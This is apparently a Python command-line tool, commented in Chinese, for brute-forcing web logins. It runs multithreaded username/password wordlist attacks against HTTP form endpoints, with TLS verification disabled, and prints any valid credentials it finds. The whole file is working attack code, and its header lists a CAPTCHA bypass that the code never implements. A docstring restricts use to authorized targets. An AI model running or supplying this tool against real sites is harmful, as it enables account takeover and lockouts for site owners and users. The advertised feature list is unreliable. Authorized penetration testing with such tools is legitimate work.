#!/usr/bin/env python3 """ Web Brute Force Tool Web 暴力破解工具 支持: - HTTP Basic Auth - Form 登录 - 多线程破解 - 代理支持 - 验证码绕过 Usage: python3 web-brute.py -u "http://target.com/login" -U usernames.txt -P passwords.txt python3 web-brute.py -u "http://target.com/login" --user admin -P passwords.txt -d "username=^USER^&password=^PASS^" 授权边界: - 仅用于自有资产、测试环境或已明确授权的登录入口 - 对公网测试资产执行验证时,应先确认限速、告警和锁定策略 - 不面向无授权第三方网站或公共站点 """ import argparse import requests import time import threading from concurrent.futures import ThreadPoolExecutor, as_completed from typing import List, Dict, Tuple, Optional import re import sys class Colors: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" END = "\033[0m" BOLD = "\033[1m" class WebBruteForcer: def __init__(self, threads: int = 5, timeout: int = 10, delay: float = 0): self.threads = threads self.timeout = timeout self.delay = delay self.session = requests.Session() self.session.headers.update( { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } ) self.found = [] self.lock = threading.Lock() self.attempts = 0 self.start_time = None def print_result(self, level: str, msg: str): colors = { "INFO": Colors.BLUE, "SUCCESS": Colors.GREEN, "WARNING": Colors.YELLOW, "ERROR": Colors.RED, "VULN": Colors.RED + Colors.BOLD, "FOUND": Colors.GREEN + Colors.BOLD, } print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}") def load_wordlist(self, filepath: str) -> List[str]: """加载字典文件""" try: with open(filepath, "r", encoding="utf-8", errors="ignore") as f: return [ line.strip() for line in f if line.strip() and not line.startswith("#") ] except FileNotFoundError: self.print_result("ERROR", f"字典文件不存在: {filepath}") return [] def try_login( self, url: str, username: str, password: str, method: str = "POST", data_template: str = None, headers: Dict = None, cookies: Dict = None, success_pattern: str = None, fail_pattern: str = None, success_codes: List[int] = None, ) -> Tuple[bool, Dict]: """尝试登录""" self.attempts += 1 if data_template: data = data_template.replace("^USER^", username).replace("^PASS^", password) if "=" in data: post_data = {} for pair in data.split("&"): if "=" in pair: k, v = pair.split("=", 1) post_data[k] = v else: post_data = {"username": username, "password": password} else: post_data = {"username": username, "password": password} try: if method.upper() == "GET": resp = self.session.get( url, params=post_data, headers=headers, cookies=cookies, timeout=self.timeout, allow_redirects=True, verify=False, ) else: resp = self.session.post( url, data=post_data, headers=headers, cookies=cookies, timeout=self.timeout, allow_redirects=True, verify=False, ) result = { "status_code": resp.status_code, "response_length": len(resp.text), "url": resp.url, } if success_codes and resp.status_code in success_codes: return True, result if success_pattern and re.search(success_pattern, resp.text, re.IGNORECASE): return True, result if fail_pattern and re.search(fail_pattern, resp.text, re.IGNORECASE): return False, result if resp.status_code == 302 or "login" not in resp.url.lower(): if "error" not in resp.text.lower() and "fail" not in resp.text.lower(): if len(resp.text) > 1000: return True, result return False, result except Exception as e: return False, {"error": str(e)} def brute_force( self, url: str, usernames: List[str], passwords: List[str], method: str = "POST", data_template: str = None, success_pattern: str = None, fail_pattern: str = None, verbose: bool = True, ) -> List[Dict]: """暴力破解""" self.start_time = time.time() total = len(usernames) * len(passwords) self.print_result( "INFO", f"开始暴力破解: {len(usernames)} 用户 × {len(passwords)} 密码 = {total} 组合", ) with ThreadPoolExecutor(max_workers=self.threads) as executor: futures = {} for username in usernames: for password in passwords: future = executor.submit( self.try_login, url, username, password, method, data_template, None, None, success_pattern, fail_pattern, ) futures[future] = (username, password) if self.delay > 0: time.sleep(self.delay) for future in as_completed(futures): username, password = futures[future] success, result = future.result() if verbose and self.attempts % 100 == 0: elapsed = time.time() - self.start_time rate = self.attempts / elapsed if elapsed > 0 else 0 print( f"\r{Colors.CYAN}[*]{Colors.END} 进度: {self.attempts}/{total} ({rate:.1f}/s)", end="", flush=True, ) if success: with self.lock: found_item = { "username": username, "password": password, "result": result, } self.found.append(found_item) self.print_result("FOUND", f"成功! {username}:{password}") if self.delay > 0: time.sleep(self.delay) if verbose: print() return self.found def main(): parser = argparse.ArgumentParser(description="Web Brute Force Tool") parser.add_argument("-u", "--url", required=True, help="目标登录URL") parser.add_argument("-U", "--userlist", help="用户名字典文件") parser.add_argument("-P", "--passlist", help="密码字典文件") parser.add_argument("--user", help="单个用户名") parser.add_argument("--pass", dest="password", help="单个密码") parser.add_argument( "-m", "--method", default="POST", choices=["GET", "POST"], help="HTTP方法" ) parser.add_argument( "-d", "--data", help="POST数据模板 (使用 ^USER^ 和 ^PASS^ 占位符)" ) parser.add_argument("--success", help="成功匹配模式 (正则)") parser.add_argument("--fail", help="失败匹配模式 (正则)") parser.add_argument("-t", "--threads", type=int, default=5, help="线程数") parser.add_argument("--timeout", type=int, default=10, help="超时时间") parser.add_argument("--delay", type=float, default=0, help="请求延迟(秒)") parser.add_argument("-v", "--verbose", action="store_true", help="详细输出") args = parser.parse_args() requests.packages.urllib3.disable_warnings() bruteforcer = WebBruteForcer( threads=args.threads, timeout=args.timeout, delay=args.delay ) usernames = [] if args.userlist: usernames = bruteforcer.load_wordlist(args.userlist) elif args.user: usernames = [args.user] else: bruteforcer.print_result("ERROR", "请提供用户名 (--user 或 -U)") sys.exit(1) passwords = [] if args.passlist: passwords = bruteforcer.load_wordlist(args.passlist) elif args.password: passwords = [args.password] else: bruteforcer.print_result("ERROR", "请提供密码 (--pass 或 -P)") sys.exit(1) print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") print(f"{Colors.BOLD}Web Brute Force Tool{Colors.END}") print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") bruteforcer.print_result("INFO", f"目标: {args.url}") bruteforcer.print_result("INFO", f"用户数: {len(usernames)}") bruteforcer.print_result("INFO", f"密码数: {len(passwords)}") if args.data: bruteforcer.print_result("INFO", f"数据模板: {args.data}") results = bruteforcer.brute_force( url=args.url, usernames=usernames, passwords=passwords, method=args.method, data_template=args.data, success_pattern=args.success, fail_pattern=args.fail, verbose=args.verbose, ) elapsed = time.time() - bruteforcer.start_time rate = bruteforcer.attempts / elapsed if elapsed > 0 else 0 print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") bruteforcer.print_result("INFO", f"总尝试: {bruteforcer.attempts}") bruteforcer.print_result("INFO", f"耗时: {elapsed:.2f}s ({rate:.1f} req/s)") if results: bruteforcer.print_result("SUCCESS", f"发现 {len(results)} 个有效凭证!") for r in results: print(f" - {r['username']}:{r['password']}") else: bruteforcer.print_result("INFO", "未发现有效凭证") print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") if __name__ == "__main__": main()